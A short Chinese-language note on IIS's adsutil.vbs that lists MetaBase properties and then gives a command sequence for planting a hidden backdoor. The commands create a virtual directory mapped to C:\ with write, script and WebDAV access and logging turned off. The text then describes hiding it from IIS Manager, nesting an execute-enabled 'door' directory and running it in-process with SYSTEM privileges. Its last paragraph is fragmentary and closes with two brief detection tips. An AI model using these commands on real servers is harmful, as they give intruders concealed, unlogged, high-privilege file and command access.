adsutil.vbs 是 IIS 自帶的命令行管理腳本,位於 %SystemDrive%\Inetpub\AdminScripts,通過操作 MetaBase.bin(IIS 核心配置庫,樹狀結構類似注冊表)實現對虛擬目錄、站點、應用池等的完整管理。
cscript adsutil.vbs <命令> [路徑] [值]
命令:GET | SET | ENUM | DELETE | CREATE | COPY | START_SERVER | STOP_SERVER ...
路徑:如 W3SVC/1/Root/MyVdir(站點1根目錄下的MyVdir虛擬目錄)
| 屬性 | 類型 | 說明 |
|---|---|---|
| KeyType | STRING | 對象類型,如 "IIsWebVirtualDir" |
| Path | STRING | 物理路徑映射 |
| AccessRead/Write/Script/Execute | BOOLEAN | 讀/寫/腳本執行/可執行權限 |
| EnableDirBrowsing | BOOLEAN | 是否允許目錄瀏覽 |
| AccessSource | BOOLEAN | WebDAV 訪問權限(可通過 IE "以Web文件夾方式打開" 上傳文件) |
| AppIsolated | INTEGER | 應用隔離級別:0=進程內(高性能高風險), 1=進程外, 2=池化 |
| AppPoolId | STRING | 應用池名稱 |
| DefaultDoc | STRING | 默認文檔列表 |
REM 創建虛擬目錄 wofeiwo
cscript adsutil.vbs CREATE W3SVC/1/Root/wofeiwo "IIsWebVirtualDir"
REM 設置物理路徑為 C:\
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/Path "C:\"
REM 賦予讀、寫、腳本執行權限
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/AccessRead 1
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/AccessWrite 1
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/AccessScript 1
REM 開啟目錄瀏覽與 WebDAV
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/EnableDirBrowsing 1
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/AccessSource 1
REM 禁止日誌記錄
cscript adsutil.vbs SET W3SVC/1/Root/wofeiwo/DontLog 1
wofeiwo 不設置 Path,該目錄不會出現在 IIS 管理器中(IIS 5/6 特性)。door 並設置 Path "C:\"、完整權限、AccessExecute 1。https://IP/wofeiwo/door/ 即可遍歷 C 盤、上傳腳本、執行命令。AppIsolated 設為 0(進程內運行,繼承 SYSTEM 權限),或將 asp.dll 加入 InProcessIsapiApps 列表。MetaBase.bin 異常虛擬目錄。adsutil.vbs 調用日誌,限制管理腳本訪問權限。